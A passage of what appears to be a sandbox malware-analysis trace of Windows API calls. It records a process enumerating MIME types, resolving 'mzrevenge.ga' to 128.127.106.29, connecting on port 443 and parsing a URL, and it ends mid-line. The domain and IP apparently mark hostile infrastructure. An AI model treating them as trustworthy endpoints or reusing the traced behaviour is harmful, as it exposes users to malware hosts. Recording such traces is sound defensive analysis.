CharLowerBuffW (in: lpsz=".mhtml", cchLength=0x6 | out: lpsz=".mhtml") returned 0x6 [0119.924] CharLowerBuffW (in: lpsz="audio/mid", cchLength=0x9 | out: lpsz="audio/mid") returned 0x9 [0119.924] CharLowerBuffW (in: lpsz=".mid", cchLength=0x4 | out: lpsz=".mid") returned 0x4 [0119.924] CharLowerBuffW (in: lpsz="audio/mid", cchLength=0x9 | out: lpsz="audio/mid") returned 0x9 [0119.924] CharLowerBuffW (in: lpsz=".midi", cchLength=0x5 | out: lpsz=".midi") returned 0x5 [0119.925] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.925] CharLowerBuffW (in: lpsz=".MOD", cchLength=0x4 | out: lpsz=".mod") returned 0x4 [0119.925] CharLowerBuffW (in: lpsz="video/quicktime", cchLength=0xf | out: lpsz="video/quicktime") returned 0xf [0119.925] CharLowerBuffW (in: lpsz=".mov", cchLength=0x4 | out: lpsz=".mov") returned 0x4 [0119.925] CharLowerBuffW (in: lpsz="audio/mpeg", cchLength=0xa | out: lpsz="audio/mpeg") returned 0xa [0119.925] CharLowerBuffW (in: lpsz=".mp2", cchLength=0x4 | out: lpsz=".mp2") returned 0x4 [0119.925] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.925] CharLowerBuffW (in: lpsz=".mp2v", cchLength=0x5 | out: lpsz=".mp2v") returned 0x5 [0119.925] CharLowerBuffW (in: lpsz="audio/mpeg", cchLength=0xa | out: lpsz="audio/mpeg") returned 0xa [0119.925] CharLowerBuffW (in: lpsz=".mp3", cchLength=0x4 | out: lpsz=".mp3") returned 0x4 [0119.925] CharLowerBuffW (in: lpsz="video/mp4", cchLength=0x9 | out: lpsz="video/mp4") returned 0x9 [0119.925] CharLowerBuffW (in: lpsz=".mp4", cchLength=0x4 | out: lpsz=".mp4") returned 0x4 [0119.925] CharLowerBuffW (in: lpsz="video/mp4", cchLength=0x9 | out: lpsz="video/mp4") returned 0x9 [0119.925] CharLowerBuffW (in: lpsz=".mp4v", cchLength=0x5 | out: lpsz=".mp4v") returned 0x5 [0119.926] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.926] CharLowerBuffW (in: lpsz=".mpa", cchLength=0x4 | out: lpsz=".mpa") returned 0x4 [0119.926] CharLowerBuffW (in: lpsz="application/vnd.ms-project", cchLength=0x1a | out: lpsz="application/vnd.ms-project") returned 0x1a [0119.926] CharLowerBuffW (in: lpsz=".mpd", cchLength=0x4 | out: lpsz=".mpd") returned 0x4 [0119.926] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.926] CharLowerBuffW (in: lpsz=".mpe", cchLength=0x4 | out: lpsz=".mpe") returned 0x4 [0119.926] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.926] CharLowerBuffW (in: lpsz=".mpeg", cchLength=0x5 | out: lpsz=".mpeg") returned 0x5 [0119.926] CharLowerBuffW (in: lpsz="application/vnd.ms-mediapackage", cchLength=0x1f | out: lpsz="application/vnd.ms-mediapackage") returned 0x1f [0119.926] CharLowerBuffW (in: lpsz=".mpf", cchLength=0x4 | out: lpsz=".mpf") returned 0x4 [0119.927] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.927] CharLowerBuffW (in: lpsz=".mpg", cchLength=0x4 | out: lpsz=".mpg") returned 0x4 [0119.927] CharLowerBuffW (in: lpsz="application/vnd.ms-project", cchLength=0x1a | out: lpsz="application/vnd.ms-project") returned 0x1a [0119.927] CharLowerBuffW (in: lpsz=".mpp", cchLength=0x4 | out: lpsz=".mpp") returned 0x4 [0119.927] CharLowerBuffW (in: lpsz="application/vnd.ms-project", cchLength=0x1a | out: lpsz="application/vnd.ms-project") returned 0x1a [0119.927] CharLowerBuffW (in: lpsz=".mpt", cchLength=0x4 | out: lpsz=".mpt") returned 0x4 [0119.927] CharLowerBuffW (in: lpsz="video/mpeg", cchLength=0xa | out: lpsz="video/mpeg") returned 0xa [0119.927] CharLowerBuffW (in: lpsz=".mpv2", cchLength=0x5 | out: lpsz=".mpv2") returned 0x5 [0119.927] CharLowerBuffW (in: lpsz="application/vnd.ms-project", cchLength=0x1a | out: lpsz="application/vnd.ms-project") returned 0x1a [0119.927] CharLowerBuffW (in: lpsz=".mpw", cchLength=0x4 | out: lpsz=".mpw") returned 0x4 [0119.927] CharLowerBuffW (in: lpsz="application/vnd.ms-project", cchLength=0x1a | out: lpsz="application/vnd.ms-project") returned 0x1a [0119.927] CharLowerBuffW (in: lpsz=".mpx", cchLength=0x4 | out: lpsz=".mpx") returned 0x4 [0119.928] CharLowerBuffW (in: lpsz="video/vnd.dlna.mpeg-tts", cchLength=0x17 | out: lpsz="video/vnd.dlna.mpeg-tts") returned 0x17 [0119.928] CharLowerBuffW (in: lpsz=".MTS", cchLength=0x4 | out: lpsz=".mts") returned 0x4 [0119.928] CharLowerBuffW (in: lpsz="text/x-ms-odc", cchLength=0xd | out: lpsz="text/x-ms-odc") returned 0xd [0119.928] CharLowerBuffW (in: lpsz=".odc", cchLength=0x4 | out: lpsz=".odc") returned 0x4 [0119.929] CharLowerBuffW (in: lpsz="application/vnd.oasis.opendocument.presentation", cchLength=0x2f | out: lpsz="application/vnd.oasis.opendocument.presentation") returned 0x2f [0119.929] CharLowerBuffW (in: lpsz=".odp", cchLength=0x4 | out: lpsz=".odp") returned 0x4 [0119.929] CharLowerBuffW (in: lpsz="application/vnd.oasis.opendocument.spreadsheet", cchLength=0x2e | out: lpsz="application/vnd.oasis.opendocument.spreadsheet") returned 0x2e [0119.978] socket (af=2, type=1, protocol=0) returned 0x280 [0119.978] getsockopt (in: s=0x280, level=65535, optname=4104, optval=0x18fad0, optlen=0x18facc | out: optval="\x01", optlen=0x18facc) returned 0 [0119.978] getsockopt (in: s=0x280, level=6, optname=1, optval=0x18fad0, optlen=0x18facc | out: optval="", optlen=0x18facc) returned 0 [0119.979] setsockopt (s=0x280, level=65535, optname=4, optval="", optlen=4) returned 0 [0119.979] htons (hostshort=0x0) returned 0x0 [0119.979] bind (s=0x280, addr=0x18fa28*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0119.979] getsockname (in: s=0x280, name=0x18fa1c, namelen=0x18fa9c | out: name=0x18fa1c*(sa_family=2, sin_port=0xc00e, sin_addr="0.0.0.0"), namelen=0x18fa9c) returned 0 [0119.979] htons (hostshort=0xec0) returned 0xc00e [0119.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mzrevenge.ga", cchCount1=12, lpString2="LOCALHOST", cchCount2=9) returned 3 [0119.979] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="mzrevenge.ga", cchUnicodeChar=12, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 12 [0119.979] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="mzrevenge.ga", cchUnicodeChar=12, lpASCIICharStr=0x814cdc, cchASCIIChar=12 | out: lpASCIICharStr="mzrevenge.ga") returned 12 [0119.979] GetAddrInfoW (in: pNodeName="mzrevenge.ga", pServiceName=0x0, pHints=0x18fad0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faf0 | out: ppResult=0x18faf0*=0x2b949b8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94870*(sa_family=2, sin_port=0x0, sin_addr="128.127.106.29"), ai_next=0x0)) returned 0 [0119.981] FreeAddrInfoW (pAddrInfo=0x2b949b8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94870*(sa_family=2, sin_port=0x0, sin_addr="128.127.106.29"), ai_next=0x0)) [0119.981] htons (hostshort=0x1bb) returned 0xbb01 [0119.981] connect (s=0x280, name=0x18fa80*(sa_family=2, sin_port=0x1bb, sin_addr="128.127.106.29"), namelen=16) returned 0 [0120.012] getsockname (in: s=0x280, name=0x18fa68, namelen=0x18fae8 | out: name=0x18fa68*(sa_family=2, sin_port=0xc00e, sin_addr="192.168.0.156"), namelen=0x18fae8) returned 0 [0120.012] htons (hostshort=0xec0) returned 0xc00e [0120.012] getpeername (in: s=0x280, name=0x18fa68, namelen=0x18fae8 | out: name=0x18fa68*(sa_family=2, sin_port=0x1bb, sin_addr="128.127.106.29"), namelen=0x18fae8) returned 0 [0120.012] htons (hostshort=0xbb01) returned 0x1bb [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d45f98 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ac8 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36388 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ae0 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253a0 [0120.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0120.013] GetCurrentThreadId () returned 0x9fc [0120.013] GetCurrentThreadId () returned 0x9fc [0120.013] GetCurrentThreadId () returned 0x9fc [0120.013] GetCurrentThreadId () returned 0x9fc [0120.013] GetCurrentThreadId () returned 0x9fc [0120.013] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] GetCurrentThreadId () returned 0x9fc [0120.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d4aea0 [0120.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0120.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0120.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36028 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0120.015] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0120.015] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d365f0 [0120.015] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d365f0, Size=0x80) returned 0x2d4ead8 [0120.015] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59108 [0120.015] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59108, Size=0x200) returned 0x2d37aa0 [0120.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0120.015] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37898 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253d8 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0120.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0120.015] GetCurrentThreadId () returned 0x9fc [0120.015] GetCurrentThreadId () returned 0x9fc [0120.015] GetCurrentThreadId () returned 0x9fc [0120.015] GetCurrentThreadId () returned 0x9fc [0120.015] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.016] GetCurrentThreadId () returned 0x9fc [0120.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] GetCurrentThreadId () returned 0x9fc [0120.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0120.017] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.018] GetCurrentThreadId () returned 0x9fc [0120.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0120.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ba0 [0120.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34bb8 [0120.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d08 [0120.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0120.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x18fa30, cchWideChar=24 | out: lpWideCharStr="/usr/local/ssl/cert.pem") returned 24 [0120.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x110f18d8, cbMultiByte=2, lpWideCharStr=0x18fa78, cchWideChar=8 | out: lpWideCharStr="r") returned 2 [0120.019] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.019] GetLastError () returned 0x3 [0120.019] GetLastError () returned 0x3 [0120.020] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.020] GetLastError () returned 0x3 [0120.020] GetLastError () returned 0x3 [0120.020] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d355a8, Size=0x20) returned 0x2d4a358 [0120.020] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a358, Size=0x40) returned 0x2d365f0 [0120.020] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d365f0, Size=0x80) returned 0x2d4ead8 [0120.020] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59108 [0120.020] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59108, Size=0x200) returned 0x2d37488 [0120.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0120.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362c8 [0120.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d355a8 [0120.020] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d355a8, Size=0x200) returned 0x2d37690 [0120.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37aa0 | out: hHeap=0x2a0000) returned 1 [0120.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36028 | out: hHeap=0x2a0000) returned 1 [0120.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37898 | out: hHeap=0x2a0000) returned 1 [0120.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360c8 | out: hHeap=0x2a0000) returned 1 [0120.020] setsockopt (s=0x280, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0120.020] setsockopt (s=0x280, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="/", cchCount2=1) returned 1 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="=", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, 